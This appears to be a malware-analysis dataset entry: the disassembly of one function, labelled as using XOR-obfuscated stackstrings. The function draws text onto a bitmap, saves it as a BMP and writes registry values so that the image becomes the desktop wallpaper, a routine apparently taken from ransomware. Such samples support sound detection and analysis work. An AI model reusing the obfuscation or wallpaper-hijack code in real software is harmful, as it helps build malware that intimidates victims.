Function at 0x40d370
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4fc
cmp dword [0x42543c], 0
push ebx
push esi
push edi
jne 0x40d8dc
cmp dword [0x42596c], 0
je 0x40d8dc
push 0
call dword [0x425364]
mov esi, eax
mov dword [ebp - 0x38], esi
test esi, esi
je 0x40d8dc
push esi
call dword [0x425390]
mov edi, eax
test edi, edi
je 0x40d8d3
push 8
push esi
call dword [0x425164]
push 0xa
push esi
lea ebx, [eax + 1]
and ebx, 0xfffffffe
mov dword [ebp - 8], ebx
call dword [0x425164]
push 0x58
push dword [ebp - 0x38]
lea esi, [eax + 1]
and esi, 0xfffffffe
mov dword [ebp - 4], esi
call dword [0x425164]
mov ecx, eax
mov dword [ebp - 0x62], 0x720041
lea eax, [ebp - 0x62]
mov dword [ebp - 0x5e], 0x610069
push eax
mov eax, esi
mov dword [ebp - 0x5a], 0x6c
cdq
idiv ecx
push 0
push 3
push 0
push 9
push 1
push 0
push 0
push 0
push 0x200
push 0
push 0
lea eax, [eax + eax*2]
push 0
add eax, eax
push eax
call dword [0x425310]
mov dword [ebp - 0x94], eax
test eax, eax
je 0x40d8c9
push eax
push edi
call dword [0x425388]
test eax, eax
je 0x40d8bd
lea eax, [ebp - 0x182]
push eax
call fcn.0040d8f0
xor ecx, ecx
mov edi, edi
xor word [eax + ecx*2], 0xc
inc ecx
cmp ecx, 0x4d
jb 0x40d460
push 0x425840
push eax
lea eax, [ebp - 0x4f8]
push eax
call dword [0x4250b4]
add esp, 0xc
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0xe4]
push ecx
push eax
lea eax, [ebp - 0x4f8]
push eax
push edi
call dword [0x425240]
test eax, eax
je 0x40d8bd
push esi
push ebx
push edi
call dword [0x42520c]
mov dword [ebp - 0x34], eax
test eax, eax
je 0x40d8bd
push eax
push edi
call dword [0x425388]
test eax, eax
je 0x40d8b4
push 0xffffff
push edi
call dword [0x425314]
push 2
push edi
call dword [0x4250cc]
push 0
push edi
call dword [0x425224]
mov eax, esi
mov dword [ebp - 0xdc], 0
sar eax, 1
sub eax, dword [ebp - 0xe0]
push 0x211
mov dword [ebp - 0xd8], eax
lea eax, [ebp - 0xdc]
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x4f8]
mov dword [ebp - 0xd4], ebx
push eax
push edi
mov dword [ebp - 0xd0], esi
call dword [0x4252c4]
test eax, eax
je 0x40d8b4
imul ebx, esi
mov eax, 0x4d42
mov word [ebp - 0xa4], ax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x9a], 0x36
mov dword [ebp - 0xcc], 0x28
add ebx, ebx
mov dword [ebp - 0xc4], esi
push ebx
push 8
push dword [0x425ba8]
lea eax, [ebx + 0x36]
mov dword [ebp - 0xc0], 0x100001
mov dword [ebp - 0xa2], eax
xor eax, eax
mov dword [ebp - 0x9e], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xac], 0
call dword [0x425358]
mov esi, eax
test esi, esi
jne 0x40d600
jmp 0x40d5e0
push 0x80
call dword [0x425428]
push ebx
push 8
push dword [0x425ba8]
call dword [0x425358]
mov esi, eax
test esi, esi
je 0x40d5e0
push 0
lea eax, [ebp - 0xcc]
push eax
push esi
push dword [ebp - 4]
push 0
push dword [ebp - 0x34]
push edi
call dword [0x42541c]
test eax, eax
je 0x40d8a5
lea eax, [ebp - 0x2f0]
push eax
push 0
push 0
push 0x23
push 0
call dword [0x425078]
lea eax, [ebp - 0x2f0]
push eax
call dword [0x4252ec]
push 0x425700
lea eax, [ebp - 0x2f0]
push eax
call dword [0x425410]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x2f0]
mov dword [ebp - 4], 0x32
push eax
mov dword [ebp - 8], 0x30
call dword [0x4250bc]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
je 0x40d8a5
push 0
lea ecx, [ebp - 0x14]
push ecx
push 0xe
lea ecx, [ebp - 0xa4]
push ecx
push eax
call dword [0x425204]
push 0
lea eax, [ebp - 0x14]
push eax
push 0x28
lea eax, [ebp - 0xcc]
push eax
push dword [ebp - 0x10]
call dword [0x425204]
push 0
lea eax, [ebp - 0x14]
push eax
push ebx
mov ebx, dword [ebp - 0x10]
push esi
push ebx
call dword [0x425204]
push ebx
call dword [0x4251e0]
mov dword [ebp - 0x8e], 0x63004f
xor eax, eax
mov dword [ebp - 0x8a], 0x780062
mov dword [ebp - 0x86], 0x63007e
mov dword [ebp - 0x82], 0x2c0060
mov dword [ebp - 0x7e], 0x6d005c
mov dword [ebp - 0x7a], 0x690062
mov dword [ebp - 0x76], 0x500060
mov dword [ebp - 0x72], 0x690048
mov dword [ebp - 0x6e], 0x67007f
mov dword [ebp - 0x6a], 0x630078
mov dword [ebp - 0x66], 0xc007c
xor word [ebp + eax*2 - 0x8e], 0xc
inc eax
cmp eax, 0x16
jb 0x40d730
lea eax, [ebp - 0xc]
push eax
push 0x20106
push 0
lea eax, [ebp - 0x8e]
push eax
push 0x80000001
call dword [0x425054]
test eax, eax
jne 0x40d892
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x28], 0x610057
push eax
mov dword [ebp - 0x24], 0x6c006c
mov dword [ebp - 0x20], 0x610050
mov dword [ebp - 0x1c], 0x650070
mov dword [ebp - 0x18], 0x72
call dword [0x4252e0]
lea eax, [eax*2 + 2]
push eax
lea eax, [ebp - 0x2f0]
push eax
push 1
push 0
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0xc]
call dword [0x425098]
mov eax, 0xc
mov dword [ebp - 0x56], 0x6d005b
mov word [ebp - 0x3a], ax
xor eax, eax
mov dword [ebp - 0x52], 0x600060
mov dword [ebp - 0x4e], 0x6d007c
mov dword [ebp - 0x4a], 0x69007c
mov dword [ebp - 0x46], 0x5f007e
mov dword [ebp - 0x42], 0x750078
mov dword [ebp - 0x3e], 0x690060
xor word [ebp + eax*2 - 0x56], 0xc
inc eax
cmp eax, 0xf
jb 0x40d7f0
lea eax, [ebp - 4]
push eax
call dword [0x4252e0]
lea eax, [eax*2 + 2]
push eax
lea eax, [ebp - 4]
push eax
push 1
push 0
lea eax, [ebp - 0x56]
push eax
push dword [ebp - 0xc]
call dword [0x425098]
mov dword [ebp - 0x30], 0x650058
xor eax, eax
mov dword [ebp - 0x2c], 0x690060
mov dword [ebp - 0x28], 0x6d005b
mov dword [ebp - 0x24], 0x600060
mov dword [ebp - 0x20], 0x6d007c
mov dword [ebp - 0x1c], 0x69007c
mov dword [ebp - 0x18], 0xc007e
xor word [ebp + eax*2 - 0x30], 0xc
inc eax
cmp eax, 0xe
jb 0x40d856
lea eax, [ebp - 8]
push eax
call dword [0x4252e0]
lea eax, [eax*2 + 2]
push eax
lea eax, [ebp - 8]
push eax
push 1
push 0
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0xc]
call dword [0x425098]
push dword [ebp - 0xc]
call dword [0x425378]
push 3
lea eax, [ebp - 0x2f0]
push eax
push 0
push 0x14
call dword [0x425070]
push esi
push 0
push dword [0x425ba8]
call dword [0x425290]
push dword [ebp - 0x34]
call dword [0x425434]
push dword [ebp - 0x94]
call dword [0x425434]
push edi
call dword [0x425028]
mov esi, dword [ebp - 0x38]
push esi
push 0
call dword [0x4253e8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret